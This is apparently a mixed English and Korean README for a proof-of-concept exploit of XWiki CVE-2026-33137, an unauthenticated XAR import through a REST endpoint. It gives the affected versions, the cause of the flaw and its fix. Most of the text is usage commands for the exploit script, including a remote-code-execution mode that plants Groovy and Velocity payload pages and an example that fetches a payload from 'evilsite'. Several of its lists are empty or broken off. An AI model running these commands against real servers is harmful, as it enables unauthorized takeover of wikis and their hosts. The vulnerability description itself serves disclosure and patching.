
XWiki Platform - CVE-2026-33137 PoC - Unauthenticated XAR Import via REST /wikis/{wikiName}
XWiki Platform - REST /wikis/{wikiName}를 통한 인증되지 않은 XAR 가져오기
XWiki Platform의 POST /wikis/{wikiName} REST API 엔드포인트는 인증 또는 권한 검사를 수행하지 않고 XAR(XWiki Archive) 가져오기를 실행합니다. 인증되지 않은 공격자는 조작된 XAR 파일을 전송하여 대상 위키의 임의 문서를 생성하거나 업데이트할 수 있습니다.
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| 상태 | 버전 |
|---|---|
| 취약함 | > 15.10.16, > 16.4.6, > 16.10.2 |
| 패치됨 | 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1 |
인증되지 않은 공격자는 다음을 수행할 수 있습니다:
REST 엔드포인트 POST /xwiki/rest/wikis/{wikiName}는 요청 본문에서 XAR 파일을 받아들이고 요청자에게 ADMIN 권한이 있는지 확인하지 않고 위키로 직접 가져옵니다. 수정 사항(커밋 4b7b95b)은 ContextualAuthorizationManager.checkAccess(Right.ADMIN, ...)를 사용하여 권한 검사를 추가합니다.
# Install requirements
pip install requests
# Basic usage
python poc.py -t http://target:8080
# Specify wiki, space, and page names
python poc.py -t http://target:8080 -w xwiki -s MySpace -p MyPage
# Probe the target first
python poc.py -t http://target:8080 --probe
# Use a proxy (e.g., Burp Suite)
python poc.py -t http://target:8080 --proxy http://127.0.0.1:8080
# Custom content
python poc.py -t http://target:8080 -c "Proof of Concept"
# RCE mode: execute a command on the target server
python poc.py -t http://target:8080 --rce "id"
# RCE with authenticated triggering (if credentials are available)
python poc.py -t http://target:8080 --rce "curl http://evilsite/payload" -u admin --password pass
--rce)--rce 플래그는 지정된 명령 문자열을 실행하는 Groovy 및 Velocity 페이로드가 포함된 페이지를 가져옵니다. 자동으로:
{{groovy}} 및 {{velocity}} 매크로에 사용자 지정 명령이 포함된 페이지를 가져옵니다RCE 성공을 위한 요구 사항:
-u / --password를 통해 자격 증명 제공)package.xml - 패키지 설명자{Space}/{Page}.xml - 콘텐츠가 포함된 문서 XML이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 익스플로잇을 무단 사용하는 것은 불법입니다. 저자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다.